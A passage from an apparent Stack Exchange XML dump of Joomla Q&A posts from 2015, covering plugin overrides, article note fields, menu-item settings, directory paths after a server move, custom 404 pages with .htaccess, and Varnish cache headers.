&amp;lt;th&amp;gt;lastvisitDate&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;activation&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;params&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;lastResetTime&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;resetCount&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;otpKey&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;otep&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;requireReset&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;mobile&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;382&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;adam24&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;adam&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;adam@mailinator.com&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;$2y$10$CWsR0Ab9AZNvze2l/2Teiek3mzZ3EqyxnAzuYcv9CTaMCeSud5pza&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;0&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;2015-10-26 22:16:16&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;NULL&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;fa37ff46e1be16c6029723c395c0f156&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;NULL&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;0&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;0&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;9090909090&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;$mobile = null; // line 60 at root/libraries/joomla/user/user.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mobile var must not to be declared in library. The Table-&gt;bind method is really flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the load via JFactory::getUser('adams_id'); it has also load the mobile.&lt;/p&gt;&#xA;" OwnerUserId="5594" LastEditorUserId="5594" LastEditDate="2015-10-26T22:35:59.067" LastActivityDate="2015-10-26T22:35:59.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14072" PostTypeId="2" ParentId="14033" CreationDate="2015-10-27T06:46:45.893" Score="2" Body="&lt;p&gt;have a look in the next snippets. It works clearly&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;plugins/system/comoverride/comoverride.xml&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension  version=&quot;3.4&quot; type=&quot;plugin&quot; group=&quot;system&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;plg_system_comoverride&amp;lt;/name&amp;gt;&#xA;&amp;lt;author&amp;gt;JProof&amp;lt;/author&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;Februar 2009&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;copyright&amp;gt;(C) 2010 Romacron. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;&amp;lt;license&amp;gt;GNU/GPL&amp;lt;/license&amp;gt;&#xA;&amp;lt;version&amp;gt;3.0.0&amp;lt;/version&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;comoverride&quot;&amp;gt;comoverride.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;comoverride.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&amp;lt;config&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;/plugins/system/comoverride/comoverride.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;if (!defined('DS')) {&#xA;    define('DS', DIRECTORY_SEPARATOR);&#xA;}&#xA;jimport('joomla.application.component.helper');&#xA;&#xA;class PlgSystemComOverride extends JPlugin&#xA;{&#xA;&#xA;    public function __construct(&amp;amp;$subject, $config = array())&#xA;    {&#xA;        parent::__construct($subject, $config);&#xA;    }&#xA;&#xA;    public function  onAfterRoute()&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;        if ('com_content' === $app-&amp;gt;input-&amp;gt;getCmd('option') &amp;amp;&amp;amp; !$app-&amp;gt;isAdmin()) {&#xA;            $template = $app-&amp;gt;getTemplate();&#xA;&#xA;            require_once(JPATH_SITE . '/templates/' . $template . '/code/com_content/models/articles.php');&#xA;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that helps you&lt;/p&gt;&#xA;" OwnerUserId="5594" LastActivityDate="2015-10-27T06:46:45.893" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14073" PostTypeId="1" CreationDate="2015-10-27T09:57:12.190" Score="0" ViewCount="424" Body="&lt;p&gt;I often would like to add a note to my articles (eg. this article must be unpublished because of that). The note will only help backend users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A (too short*) field has already been implemented for categories and menus. But strangely not for articles, yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ideal would be to be able to read the note directly from the article manager (without having to open it) &lt;strong&gt;just like it does for the category/menu note field which is displayed next to the alias&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm surprise to don't find the note field in article. I did not find any extension that would allow to add a note. did I miss something? (I don't use any component to edit my article)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: adding a &quot;version note&quot; won't work since it will disappear once the article will be saved (that's the point of a version note!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(* the field size, and characters lengths are too short, in my opinion).&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="126" LastEditDate="2015-10-27T10:13:41.290" LastActivityDate="2015-10-27T10:13:41.290" Title="Adding a note to an article" Tags="|joomla-3.3.x|articles|article-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14074" PostTypeId="2" ParentId="14073" CreationDate="2015-10-27T10:03:16.357" Score="1" Body="&lt;p&gt;You are really right. A note field for articles can come very handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meanwhile I suggest you to add your own field for notes in articles using this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/aixeena-cck&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/aixeena-cck&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also suggest you check this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/13975/is-there-any-way-to-create-new-publishing-options-for-articles/13976#13976&quot;&gt;Is there any way to create new publishing options for articles?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it works for you&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-10-27T10:03:16.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14075" PostTypeId="1" AcceptedAnswerId="14080" CreationDate="2015-10-27T12:48:52.953" Score="0" ViewCount="720" Body="&lt;p&gt;I installed Joomla 3.4 on localhost, everything properly set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have an issue: the individual &lt;strong&gt;articles&lt;/strong&gt; option is not working, I can only change global articles setting .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article settings (not global):&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WVXWT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WVXWT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FZQJ3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FZQJ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already set &lt;strong&gt;show author&lt;/strong&gt; to hide , but author is still displayed on my site.&lt;/p&gt;&#xA;" OwnerUserId="7166" LastEditorUserId="1629" LastEditDate="2015-10-27T13:46:08.717" LastActivityDate="2015-10-27T14:25:34.937" Title="Jomla 3.4 Article option not working for individual article" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14076" PostTypeId="1" AcceptedAnswerId="14090" CreationDate="2015-10-27T13:28:38.567" Score="2" ViewCount="143" Body="&lt;p&gt;I'd like to include a notification &quot;!&quot; in my main menu when there is a new blog post. The blog page have already set up Recent order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;!&quot; will disappear after click - or disappear for a few days - whatever is easiest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this link : - &lt;a href=&quot;https://stackoverflow.com/questions/22638618/main-menu-notification-if-there-is-an-article-update-joomla-2-5&quot;&gt;https://stackoverflow.com/questions/22638618/main-menu-notification-if-there-is-an-article-update-joomla-2-5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but unfortunately it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea on how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="7056" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-10-27T20:48:36.357" Title="Notification on main menu when the new articles have posted" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14077" PostTypeId="1" CreationDate="2015-10-27T13:51:57.207" Score="1" ViewCount="1180" Body="&lt;p&gt;I had a working website, but i had to move it to an other server. After i copied all files, directories and the database, everything seemed okay. But when I tried to install a new plugin, I got these errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;Archive does not exist&#xA;&#xA;&#xA;Warning&#xA;JFolder: :files: Path is not a folder. Path: /var/www/xxxxxxxx/tmp/install_562f7fbf33ded&#xA;&#xA;JFolder: :folder: Path is not a folder. Path: /var/www/xxxxxxxx/tmp/install_562f7fbf33ded&#xA;&#xA;JFolder: :files: Path is not a folder. Path: /var/www/xxxxxxxx/tmp/install_562f7fbf33ded&#xA;&#xA;JInstaller: :Install: Cannot find Joomla XML setup file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://joomla.stackexchange.com/questions/7026/all-directories-listed-as-unwritable&quot;&gt;another post with a related solution&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All permissions were listed as unwritable. But when i changed the owner and group of all the directories and files, nothing changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I should not do it, but I also tried to change some of the folders to 777 permission, but nothing changed. (it's a local test server)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me? &lt;/p&gt;&#xA;" OwnerUserId="7168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-10-27T14:40:24.077" Title="All directory permissions are listed as unwritable" Tags="|joomla-3.4|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14078" PostTypeId="2" ParentId="13557" CreationDate="2015-10-27T14:13:36.743" Score="2" Body="&lt;p&gt;I would recommend using FieldsAttatch for this, see &lt;a href=&quot;http://www.fieldsattach.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.fieldsattach.com/&lt;/a&gt; for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not a full on CCK, but a much lighter system that allows you to add fields to the Joomla content model in a simple an elegant way.  The fields Augment the standard joomla content fields and are just editable for the user in or more tabs.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-10-27T14:13:36.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14080" PostTypeId="2" ParentId="14075" CreationDate="2015-10-27T14:25:34.937" Score="0" Body="&lt;p&gt;This part of Joomla can be a bit confusing. But article settings can also be controlled through the &lt;em&gt;menu item&lt;/em&gt;, and these settings will override both Global settings and Article settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Menus -&gt; &lt;em&gt;your menu&lt;/em&gt; and locate the menu item used to display your page. From the &lt;strong&gt;Options&lt;/strong&gt; tab, configure everything as required. Try to keep as many settings as possible set to &lt;kbd&gt;Use Global&lt;/kbd&gt; (and configure the Global settings as required), this makes it easier to maintain your site, and you won't have to change settings for each menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g9P0i.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g9P0i.jpg&quot; alt=&quot;Menu item settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-10-27T14:25:34.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14081" PostTypeId="2" ParentId="14077" CreationDate="2015-10-27T14:40:24.077" Score="1" Body="&lt;p&gt;It's highly recommended to use &lt;a href=&quot;https://www.akeebabackup.com/download/akeeba-backup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; for site transfers. This (free) Joomla extension makes it extremely easy to transfer/backup your site, and helps avoid this kind of problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like your &lt;strong&gt;log&lt;/strong&gt; and &lt;strong&gt;tmp&lt;/strong&gt; directories are not properly configured in your &lt;code&gt;configuration.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the file &lt;code&gt;configuration.php&lt;/code&gt; in the root folder of your Joomla installation, and locate the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $log_path = '/var/www/xxxxxxxx/logs';&#xA;public $tmp_path = '/var/www/xxxxxxxx/tmp';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit the path to match your new server environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also edit the paths from the admin area (System -&gt; Global configuration). The path to your log folder can be set from the &quot;System&quot; tab, and your temp folder from the &quot;Server&quot; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2lKw1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2lKw1.jpg&quot; alt=&quot;Log folder setting&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LSO1Y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LSO1Y.jpg&quot; alt=&quot;Temp folder setting&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make sure you remember to set your folder permission back to the &lt;a href=&quot;https://docs.joomla.org/Verifying_permissions&quot; rel=&quot;nofollow noreferrer&quot;&gt;recommended values&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-10-27T14:40:24.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14082" PostTypeId="1" CreationDate="2015-10-27T15:42:27.163" Score="2" ViewCount="925" Body="&lt;p&gt;I have some problems for rendering a custom error page for my website. Joomla is installed at the root of my domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an &lt;code&gt;error.php&lt;/code&gt; page inside &lt;code&gt;templates/mytemplate/&lt;/code&gt; directory but this page is not rendered every time I insert a wrong url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples follows to better explain my problem with typed url and corresponding obtained page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.example.org/something-not-existing &lt;code&gt;--&amp;gt;&lt;/code&gt; &lt;strong&gt;not&lt;/strong&gt; custom error page (see below)&lt;/li&gt;&#xA;&lt;li&gt;www.example.org/index.php/something-not-existing &lt;code&gt;--&amp;gt;&lt;/code&gt; home page&lt;/li&gt;&#xA;&lt;li&gt;www.example.org/index.php?option=com_component-not-existing &lt;code&gt;--&amp;gt;&lt;/code&gt; custom error page, &lt;code&gt;404 Component not found&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;www.example.org/index.php?option=com_existing-component&amp;amp;view=not-existing-view &lt;code&gt;--&amp;gt;&lt;/code&gt; custom error page, &lt;code&gt;500 View not found&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Not custom error page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Not Found&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The requested URL /something-not-existing was not found on this&#xA;  server.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Additionally, a 404 Not Found error was encountered while trying to&#xA;  use an ErrorDocument to handle the request.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Why I don't get the custom error page also in the first two cases?&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-11-26T21:23:18.737" Title="Problem in rendering error page" Tags="|error-pages|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14083" PostTypeId="2" ParentId="14082" CreationDate="2015-10-27T16:03:37.417" Score="0" Body="&lt;p&gt;You can try add in your .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;ErrorDocument 404 /templates/mytemplate/error.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-10-27T16:03:37.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14085" PostTypeId="2" ParentId="14082" CreationDate="2015-10-27T19:04:25.487" Score="0" Body="&lt;p&gt;This probably is because you don't use the &lt;code&gt;.htaccess&lt;/code&gt; file (or it hasn't been correctly configured).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When typing your URL &lt;strong&gt;without&lt;/strong&gt; &lt;code&gt;index.php&lt;/code&gt;, it gives the standard 404 error page because Joomla is not even loaded, and can't present the custom 404 error page (I'm assuming this - not sure about the technical details). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try renaming &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; in your Joomla root folder. You might have to uncomment the following line, but this depends on your server settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should now get your custom error page for all your examples above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-10-27T19:04:25.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14086" PostTypeId="2" ParentId="13938" CreationDate="2015-10-27T19:31:46.950" Score="2" Body="&lt;p&gt;I have solved this problem by using an output buffer wrapper around the whole Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this website we are using jSeblod, RSForm, JCHOptimize, Nonumber Joomla CDN and AceSEF. There are also a lot of plugins. From a code search I determined that most extensions seem to emit their own cache headers, making it impossible to get this under control from a Joomla perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping I could just erase all the headers in OnAfterRender, but as you can see in the question, this doesn't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We needed to Cache all pages with Varnish, and ideally have the cache turned off in Joomla, so that direct testing is easier. We also needed to have Caching turned off for&#xA;- Pages containing RSForm - we always embed this into content&#xA;- The homepage, because it has GeoIP bases country redirection&#xA;- When someone is logged in, both in Administrator and frontend, as we are using this to stage content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution involves setting a prepend file in the VHost, a system plugin to identify pages to not cache and the contents of the prepend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our cache time is hardcoded at 1800 seconds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VHost:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; php_value auto_prepend_file /path/to/my/webfolder/prepend.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Custom system plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemCacheOn extends JPlugin&#xA;{&#xA;&#xA;    function plgSystemCacheOn(&amp;amp;$subject, $config)&#xA;    {&#xA;            parent::__construct($subject, $config);&#xA;    }&#xA;&#xA;    private function getCleanRequestUri()&#xA;    {&#xA;        list($requestUri, $query) = explode('?', $_SERVER[&quot;REQUEST_URI&quot;]);&#xA;        return $requestUri;&#xA;    }&#xA;&#xA;&#xA;    private function isHomepage()&#xA;    {&#xA;        return $this-&amp;gt;getCleanRequestUri() === '/' &amp;amp;&amp;amp; &#xA;        (!isset($_GET['option']) || !$_GET['option']);&#xA;    }&#xA;&#xA;&#xA;    function onAfterRender()&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;        $jinput = $app-&amp;gt;input;&#xA;&#xA;        if ($app-&amp;gt;getName() != 'site') {&#xA;            return true;&#xA;        }&#xA;&#xA;        $buffer = JResponse::getBody();&#xA;&#xA;        if ($this-&amp;gt;isHomepage()){&#xA;            header('GTCacheOn: KeepOn');&#xA;        }&#xA;        if (strstr($buffer, '{rsform')){&#xA;            header('GTCacheOn: KeepOn');&#xA;        }&#xA;&#xA;        if (JFactory::getUser()-&amp;gt;id &amp;gt; 0){&#xA;            header('GTUser: Keep');&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;prepend.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function dontCache($headers){&#xA;&#xA;    if ($headers &amp;amp;&amp;amp; is_array($headers)){&#xA;        foreach($headers as $header){&#xA;            list ($headerName, $headerData) = explode( ':', $header);&#xA;            if ($headerName === 'GTCacheOn' &amp;amp;&amp;amp; trim($headerData) == 'KeepOn') return true;&#xA;            if ($headerName === 'GTUser' &amp;amp;&amp;amp; trim($headerData) == 'Keep') return true;&#xA;        }&#xA;    }&#xA;    return false;&#xA;}    &#xA;&#xA;function only_greentree_headers_allowed( $buffer, $phase )&#xA;{&#xA;    header_remove( 'Pragma' );&#xA;    require (dirname( __FILE__ ). &quot;/libraries/greentree/Helper.php&quot;);&#xA;    if (in_array($_SERVER['SCRIPT_NAME'], array(&#xA;        '/index.php',&#xA;        '/media/plg_jchoptimize/assets2/jscss.php'&#xA;    ))) {&#xA;        header_remove('Expires');&#xA;        header_remove('Set-Cookie');&#xA;        if (!GreentreeHelper::dontCache(headers_list())) {&#xA;            header('Cache-Control: public, max-age=1800', true);&#xA;            header('Vary: Cookie', true);&#xA;        } else {&#xA;            header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0', true);&#xA;        }&#xA;    }else{&#xA;        header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0', true);&#xA;    }&#xA;&#xA;    return $buffer;&#xA;}&#xA;&#xA;ob_start( 'only_my_headers_allowed' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastEditorUserId="35" LastEditDate="2016-03-09T01:53:10.307" LastActivityDate="2016-03-09T01:53:10.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14087" PostTypeId="1" CreationDate="2015-10-27T20:02:08.293" Score="5" ViewCount="2291" Body="&lt;p&gt;I am using the below code to show a calendar in my form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHTML::calendar(&quot;&quot;, &quot;timetable_slot_date&quot;, &quot;id_timetable_slot_date&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need is to implement an onChange or onDateSelect javascript (jQuery) to do some Ajax process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried the below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#id_timetable_slot_date').change(function() { alert('changed') });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works only if I manually input the date in the text box.  It doesn't get triggered when I select the date from the popup.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="115" LastEditDate="2017-02-15T12:34:20.487" LastActivityDate="2019-11-07T11:23:16.823" Title="How to trigger javascript on a date selection on JHTML::_calendar" Tags="|joomla-3.x|jquery|calendar|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14088" PostTypeId="2" ParentId="12427" CreationDate="2015-10-27T20:06:28.050" Score="0" Body="&lt;p&gt;You can also try &lt;a href=&quot;http://heybubble.com&quot; rel=&quot;nofollow&quot;&gt;HeyBubble.com&lt;/a&gt; , installation is very easy and the chat system is reliable... you can also use it on your mobile with their app! We've been using it for a while now and it's great.&lt;/p&gt;&#xA;" OwnerUserId="7170" LastActivityDate="2015-10-27T20:06:28.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14089" PostTypeId="1" AcceptedAnswerId="14096" CreationDate="2015-10-27T20:26:30.253" Score="0" ViewCount="86" Body="&lt;p&gt;I develop a joomla system plugin and add some scripts by this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(&amp;amp;$subject, $config)&#xA;{&#xA;    parent::__construct($subject, $config);&#xA;&#xA;    $doc = JFactory::getDocument();&#xA;            $doc-&amp;gt;addScript( JURI::base() . 'plugins/system/thebestcheck/js/thebestscripts.js' );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, but my js file is loaded above of jQuery standard file, how can I move it below if standard jquery?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d8zIV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d8zIV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1952" LastActivityDate="2015-10-28T05:13:25.070" Title="Plugin development, js scripts added above of standard jquery...?" Tags="|jquery|" AnswerCount="2" CommentCount="2" ClosedDate="2015-10-28T14:42:39.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="14090" PostTypeId="2" ParentId="14076" CreationDate="2015-10-27T20:48:36.357" Score="1" Body="&lt;p&gt;The code from the answer you linked to should work with a couple of changes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Override &lt;code&gt;mod_menu&lt;/code&gt; by copying &lt;code&gt;modules/mod_menu/tmpl/default_component.php&lt;/code&gt; to &lt;code&gt;templates/YOURTEMPLATE/html/mod_menu/default_component.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following code right before &lt;code&gt;if ($item-&amp;gt;menu_image)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($item-&amp;gt;query['option']=='com_content' &amp;amp;&amp;amp; $item-&amp;gt;query['view']=='category' ){&#xA;  $date=date(&quot;Y-m-d&quot;,strtotime(&quot;-1 week&quot;)); //articles from up to 1 week ago&#xA;  $query=&quot;select id from #__content where state=1 and catid=&quot;&#xA;    .intval($item-&amp;gt;query['id'])&#xA;    .&quot; and publish_up &amp;gt;= '&quot;. $date . &quot;'&quot;;&#xA;    $db=JFactory::getDbo();  &#xA;    $db-&amp;gt;setQuery($query);&#xA;if(count($db-&amp;gt;loadAssoc())) $item-&amp;gt;title.=' !';  